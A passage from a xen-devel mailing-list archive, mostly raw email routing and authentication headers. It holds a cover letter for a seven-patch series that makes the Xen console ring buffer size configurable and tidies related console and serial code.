 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend Transport; Mon,
 13 Jul 2026 18:16:24 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 DS1PEPF00017091.mail.protection.outlook.com (10.167.17.133) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:24 +0000
Received: from pps.filterd (m0426318.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHn3X12019616
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:23 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc493hy04-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:23 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id jLCXwow4HazYFjLCXwHFuA; Mon, 13 Jul 2026 18:16:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=48tokVTb31SyNDg5RcENiJ2AL
	BNpyk+hlwfTtzg83s4=; b=p36KhUdGIYE70NuDVkHiIGwKOUOt/JJ2mhV2q1FE/
	tVzCcfB1YAw4zwTMVihjrqei7kI5RPySRJYwhu8reQzWpSnsho/HueaK6wVTnPxR
	6DPshTNSA/IbfPnYjhUjI7xiI92YqWyqbGPYbAFgUsHj/cIE1q0bzvi08DcU/z97
	bjoySQruXC3rr+YhidDYs5zlI2R58e5svbnbcTs4mEMVmHqp1u9fgPF1ALGmJayI
	01FTKpkaoap2QUEvm1bSkpw0CZvHnAXLtkg5C+3Vb5VVQ00xaYGknXm/o+bw7M4K
	g1fdegZf/F/NOhEaC+SIJKCOiqImmoPW9sYzByl36cgTA==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=G9UxMtdMIXwJ7OsSiQj9MaEeZ+XglvvfHYD61s2YHdvD+h/plsRFQojb93LbkXXowM+hCormoWXgobn+ZAdjj1UIGOe8HAefeEHnA3YKJ6xSy1BThXXvKpUP2l/mBmkngjGg/2uNLafJaFhdPunp/WB35DlVM+w3YEr37RprwtWwTz/QW4d0isFrpzF2WJJKFTWBFqil0mn4znMAIwxyN6SZgsZaHp3y+7I5wE3d5wDAQinognYurYcH12dhbkvsVJeptC0MQNeNulSnA0+gOhdrED2Id/muhhee2EnjOH3utugpVlioygLiigxa4ilv60TE0odTHj+BmYr88bVyZQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=48tokVTb31SyNDg5RcENiJ2ALBNpyk+hlwfTtzg83s4=;
 b=hTAaZweRq9LYIYoPJNjb5Uf/D13M/UblTepHhafvnzpC2I53Qp1H2Fkl+Jx9p4YO7iK9GNjGfMoSfMMtQEx6YUGhUE7qR1Cga53lWyNaM1CzAdP8QDf5uOvaOVksoHGKnR1XyqqhV5euOkS8vw+ei9KJj+lcdVW/hy+Tf3wsjRm525B+wTnnQQc23REuHcWORO7CfIQxMIJ04Dfdy3m1qEiyseCSFahCmZNQ39EbApKpLveUhlRNkKMEJT0U8yF4QawPu4Kow6G0gqKL1HfGg0uf9oe2noLRiT3OE/0dXnThUnrMU1BKuPUfGxNW6i8pSpCITmXOcnnnOf1IyJvcHg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=48tokVTb31SyNDg5RcENiJ2ALBNpyk+hlwfTtzg83s4=;
 b=YP4OqWE7iA1GWIbRxCBFbm+j/Q2IcQLAZ3SlCAMr0dwYj7/dqXj9pve20l6mj1EtJA3+NmaAfYFS+22kHLHDdOGK0BmVeSk0mkhhu1MLXi7OP53RZtRrsNHGu6M+fosvbdq2dhL80Z2cWezUd8Vfyt+FosWpWP3Fu2K2VaTiYnY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=48tokVT
	b31SyNDg5RcENiJ2ALBNpyk+hlwfTtzg83s4=; b=RWiy1yGbXI8TqSsQfN0Sbvs
	ugjo3ibCx/6p8zf2e1qriK1kp9dw1RVnhPmJI9nLrxWuAo0jZ3cUuSBrLITdat/7
	lfeJ6JRa2koNfbtG+cQ9hNAnYpXVN9LF9GGyt4sqAtF8BK/J02eTvlU3KVjPmLrP
	N40SF0032nf/DpAd3yJ2js4qbFx9niLBMeufhZhbuolRLaTDTeuIR12LYXJl12M1
	5hnRAImQF6XoVmk1tig1W7kz3seqed6t4GrC/KGB+gcw34rPD9p8tSoOjCDw9KJo
	sT3CAZ0lxeqYN6u+Sv3Oz/l1NAaxQfRg1NS+krqUAmRGQF0gArKKJFN0f9ly0sA=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=48tokVTb31SyNDg5RcENiJ2ALBNpyk+
	hlwfTtzg83s4=; b=GSjVCz/mBGPVljrnYUiUDyxBI/8aN0aU02g9IZdtnLiXkLP
	aZPQDhJh1DCPOSmH9xCTqTgfmKPbaJ5ChbxT/khV41+NiFq98KTId0jmPLHl925S
	OJGGc7g75trO1GnUCMoMPcmctrTABf2hTJ87mvlXS+44C0CGg/YrnYc8NoobpnWb
	KUjZKiSUv5NRBOKE0XSB4YARVAiBrL7ysSTaFh4kb75IvbY0XkIrH7aFnm5NO5Zx
	9NyHuv0PTd3Kv7hwN3FwLkFTfxrleEGxO+I0iU+F686sq68sBLZi+0h6D21hl6Db
	iZPn45DNuj7J0I3ShFpKxBO29cr8heWaTu9DjAQ==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCXwow4HazYFjLCXwHFuA
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 0/7] xen/console: configurable conring size
Date: Mon, 13 Jul 2026 11:16:12 -0700
Message-ID: <20260713181619.672176-1-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 lowpriorityscore=0 phishscore=0 spamscore=0 bulkscore=0
 malwarescore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS1PEPF00017091:EE_|IA2PR16MB6493:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: ca91b0ba-7c12-41d3-5247-08dee10ad96b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|36860700016|376014|82310400026|23010399003|18002099003|11063799006|13003099007|56012099006;
X-Microsoft-Antispam-Message-Info:
	7UCO/pLXeZWZQumghZndghKbuWQ2zp/Z/07nwTSd4AEQOcPYQ+CzC8Dp/MXepnMlLIkMhWDplnxcSBbgmGkiQ+Xm8gq/dbdWxBbCeq3gN0PBJFaERaDvYozn6I4/lYQX1YZH8t0FjpuC9K2EEJkGgBcIcc+djs0MYeeR96XbKcqTj13eJb7VRwwZLLjuka47trYEmidF6FSzZsYuDu+Eu0mjNQ/Qzz51RVyBqim7yCzMHjiSxktVH+P4yPabKeMybN2byC2SR560L7asJkZeAfbWPwKb4x8Rthn3NqaAUYAUdHQiVXFMA2vrHmt4Bo/NDpgAox0aPVZcuf8y7rwIUm4JJ5PUhXwKdEhvmrJjcl1z4RMkiYqTqt9cKbpwkOqgqutuOKNzvZYBgoEugw8XUeXtdbW7l0kJuZjYR0KgF1TBV9+cpK0hjkkHa8ZsZeGWdCH1vsYBLprRopzTz66SWL+lalssIycg+dTPX3cql+vkpuRpr5IUhXNDEbdkzfdbsd4s83tu8J4d/0U80ikG9eygRTp25KN8IeHrCOHqC4xQNbdUnYqf+V/FH2GvtxF9ifq2E+UtONZr/tcXetgziFvy38+qhCrhHFs04vjAySjqNRFU5pduIUXnaAb0GEksz2TxU3YGPzuNrn8jXuhmaNPY8+pT98NGFG1FIUniwwF8R+j3xItAPZ8NM7MJTxbkuwGawrsMF8dC8VoiJ5o0uw==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(36860700016)(376014)(82310400026)(23010399003)(18002099003)(11063799006)(13003099007)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	aqHUw9hz40Hn3fVIF3KSTmjSMs+IvIognAa4cPVOuw6QnxzZj5ePZAC6609zDRc+dQ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iDRhAEWFgbNEbMSxfwQbaOTA1dCJeQ0zrXTxyNnVwQ7V+oUh32smyPIgyPkF5WSqLGKgwBDM4vUUr9/kW2YH2T1DqLGevWAlhGBSUKqR/wdPm0gBpetsY0gGVBEzmgVk0YPWGDSkBOeYzf+5e2z68+vT/GJn/ri/aZt71qQcAv8J9a7y5Dzxa4e3skMLFdlTgcOh7q1ip3Vp/NvFlvIYltcYjTkK0fzGUsUlc9fh4yCR1dWHqUSSoh156Kf4iK7cCUMkFhiGAlWv0F1mEmh+W9UmU6sYJ1sAueWxlImlza8dpQlgzb6LcKM461WwJRycpFbIMF3TXBKbughujeiCC/buLdu3A7s98rTJlKFpji8GtvIARb3TTWfQ8GWg1q3gRFqYPqNjnxTDts2udO1GzZTo16g==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:24.4655
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ca91b0ba-7c12-41d3-5247-08dee10ad96b
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS1PEPF00017091.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA2PR16MB6493
X-Authority-Analysis: v=2.4 cv=ddKwG3Xe c=1 sm=1 tr=0 ts=6a552b7b cx=c_pps
 a=xQfGHK7Kh/zEjKjNz0BexA==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9p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endor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 adultscore=0 impostorscore=0 spamscore=0 malwarescore=0 priorityscore=1501
 suspectscore=0 lowpriorityscore=0 phishscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-ef75cf/1783966590-D057A201-0FE724D4/0/0
X-purgate-type: clean
X-purgate-size: 1475

Series introduces compile-time configurable conring size along
with few cleanups in conring management.

Patch 1 updates conring{,_size} annotations to __ro_after_init as per [1].

Patch 2 optimizes switch from early conring to permanent conring.

Patch 3 optimizes code in conring_puts().

Patch 4 updates the conring buffer allocation code.

Patch 5,6 updates for the command line options for the serial driver.

Patch 7 introduces CONRING_CONRING_SHIFT to select compile-time
conring buffer size.

[1] https://lore.kernel.org/xen-devel/1a5ed8ad-0cc7-4e05-9b9c-cd6930d9b9ea@citrix.com
[2] Link to v6: https://lore.kernel.org/xen-devel/20260509005714.892018-1-dmukhin@ford.com/
[3] Link to CI: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2673235063 

Denis Mukhin (7):
  xen/console: promote conring{,_size} to __ro_after_init
  xen/console: use memcpy() in console_init_ring()
  xen/console: use memcpy() in conring_puts()
  xen/console: switch conring runtime allocation to xvmalloc
  xen/serial: drop stale SERIAL_NEVER_DROP_CHARS
  xen/serial: harden serial_tx_buffer checks
  xen/console: make console buffer size configurable

 docs/misc/xen-command-line.pandoc | 10 ++++-
 xen/drivers/char/Kconfig          | 21 +++++++++
 xen/drivers/char/console.c        | 71 ++++++++++++++++++++++---------
 xen/drivers/char/serial.c         | 24 +++++++++--
 4 files changed, 99 insertions(+), 27 deletions(-)

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361815.1613893 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCq-0004f0-3h; Mon, 13 Jul 2026 18:16:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361815.1613893; Mon, 13 Jul 2026 18:16:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCp-0004eo-VS; Mon, 13 Jul 2026 18:16:39 +0000
Received: by outflank-mailman (input) for mailman id 1361815;
 Mon, 13 Jul 2026 18:16:39 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCp-0004eK-04
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCo-00El2B-D4
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:38 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b72-e002-0a2a0a5209dd-0a2a450ae58e-12
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:38 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b84-ec7d-0a2a450a0019-94a392172880-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:38 +0200
Received: from pps.filterd (m0482517.ppops.net [127.0.0.1])
 by m0482517.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66DI3Jw23980199
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:36 -0700
Received: from ph8pr06cu001.outbound.protection.outlook.com
 (mail-westus3azon11012004.outbound.protection.outlook.com [40.107.209.4])
 by m0482517.ppops.net (PPS) with ESMTPS id 4fd3299m7n-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:35 -0700 (PDT)
Received: from SJ0PR13CA0219.namprd13.prod.outlook.com (2603:10b6:a03:2c1::14)
 by IA1PR16MB5286.namprd16.prod.outlook.com (2603:10b6:208:44d::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Mon, 13 Jul
 2026 18:16:32 +0000
Received: from SJ5PEPF000001D3.namprd05.prod.outlook.com
 (2603:10b6:a03:2c1:cafe::88) by SJ0PR13CA0219.outlook.office365.com
 (2603:10b6:a03:2c1::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9 via Frontend Transport; Mon, 13
 Jul 2026 18:16:32 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 SJ5PEPF000001D3.mail.protection.outlook.com (10.167.242.55) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:31 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHnh4x2009028
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:30 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4vbhue1-13
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:30 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id jLCdwMbj1912WjLCdwbjax; Mon, 13 Jul 2026 18:16:29 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=Z/1
	eZ7NabN9phDoxNJO0LQc0/KD3mXYVM4udypdjZEM=; b=epDkQHuunRU0R4wbbtF
	izLZTi3DUPfO3C4ZKPh3IDFGFDwws080MKTi0eTbQ8j7T4shurdnixpXqlgh86Q5
	0jebf+UQEKShdyi5l7i/wwttkHGzFSIvwIkTcK0LM8XYzgcPFj3ZGfZOxnvKXJ9L
	8mxZ801Q7Vpg3xFxqiCgPpjBtbn4ToDRFONw1hGFs7Sbg2AZXiEX0hv98Iun/spa
	GJxFCdIiwqBWnfpYlF8KjCETcczV/NMbnHGxvs+hfYSOnfLkgGWQrIASwkUXz1wl
	f72AuopPTcA6Dp9+HulH2bENg/2IkdxtBWIbWfoma60gRjkiQ476lJW5RRSPOtey
	JlA==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Q4DC3SfcoFcDgPXeG0Q1w7E3mBUuZDgQGshNHUmxSsrXMgygVAaUTMTqN1+hzvjp/7bOI+uOk4OSNjk3mpqncR52ZIbtp4zF1Gr3pb5NR21eYJLqaB0k+mh9YW7DZTMKHl8ygQY3hOqjy/4UzJH/8NIcFvdmJfNuKM+G5OhsgssTfl3f3Dmc4oe4JHEpxSOCAq1x5JG4aSs+A0tERc5g/X3V2QifhciBu7Y16c1nspbrEedjuXD7PgOH7xb05+5IY1vHG7JBXa2K8B8XdgsBVCxXvM4dh21QMPUEr225we98c6COT0BN07gSd2pXSM47QXcXbMHz2uqAUP7zZl0gNA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Z/1eZ7NabN9phDoxNJO0LQc0/KD3mXYVM4udypdjZEM=;
 b=Vl5Yoq5FKM050vtQCKQRzAej9WNySHHRGs9l2qY/+nAUhqKShDVCdEdXKRxucwr+RvB73VLWrvw0h/WY+LRwAAfs75UwQ2eae/8IcUokm8Qdn+NU9Xm/PGUgbfimNfE1UhTXbwxhIHia6eJ//m2ph3KXU3DfuetbNcFH7STDO8htZOxOzQTD+DONwJDhyGT3we3++gsBSzhF07k8y0FHiSK5NxwpvKrKDwQ+M4BZTaaDWTyYKv/NaPX2cree5jNNRXAd6hBdVpw5pUMD2osbonrB+Zl4lhrBJ/y2OPEIlZrcdceQjlPAFpOmh2pIULY9CyIXCyezkXre0J0YMXsy4A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Z/1eZ7NabN9phDoxNJO0LQc0/KD3mXYVM4udypdjZEM=;
 b=IxCwwUr511phKdN417OCsIiS3Gt7+f72Lx7UE7A6YyPdm2blR/+QLL4P7dsuGka5fVhXDWIk6pcaV3vnq9C7jb5hF8LTjamiYJHUYnMRpp3YxRPtwb6YO6y+BoRzGvRVnz+s2JlX5CDpDPbKKdHPF2vaGOX4KdyC4Yxfc+iWMKs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=Z/1eZ7NabN9phDoxNJO0LQc0/KD3mXYVM4udypdjZEM=; b=
	Am/lnIY60nVU9wiK0Q29Oz0ISKYySF92/Ga8lGgji6YGtng3o5aAh+B0MMWAnFgj
	z9PWubkX13h6EM2k6QsPivZJ+4ckfgUB/wpFCTUYE6pCFxFwRiDdByiwjVhAOzcm
	Y+CJndyy0KqKCEFUTJwa4nVkC0ulYDSxDWD8owLWDcPJDkhyAUb2lqecoVnTdXOV
	4Dnaor19zgp5mNqlEEu+2DfqQxdBpVu6BOgzzrDOKIRT9zW/6l2/C0X4PDnUeYKj
	jsFoxN9CmprOaqT2MmZvQcEGy5BE5GDkwTOftpJErIXsaoerTOIXDsKmTLzINmDR
	FsR5XBUbBjP4icFtOU67gg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=Z/1eZ7N
	abN9phDoxNJO0LQc0/KD3mXYVM4udypdjZEM=; b=c3wXetF8qzPiPM0XbUHLOwK
	AiW/Hqo3eteyl9ezXYZs4e5nwpE2dO7131Zhk5r83T89q9CBudDLN0hJ5nRPsHVE
	Pz6ppX3ZY98ng+SRttgvvnx/MKmgL+G+PAF9ft5j0pOkzRPa+nU2y+NT7dRahVF1
	OO03AhLu9sLSou9Wt6VPwAq1/iu/vfruLhaDZ7wnInIkj6h5VrjZuWajUS8AtYke
	aaS0dmWmj/xADdrnyC4Rg/h0ELkwm0vWzkkRO628iBS83BjpyIJ8UlPm23Ay1pZi
	vsmz0pmu5SYsnp+j8txecCT9w3J1Idn/yR12CLRr+VxmCnwbvkstXS5LDLG7W2w=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCdwMbj1912WjLCdwbjax
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 2/7] xen/console: use memcpy() in console_init_ring()
Date: Mon, 13 Jul 2026 11:16:14 -0700
Message-ID: <20260713181619.672176-3-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
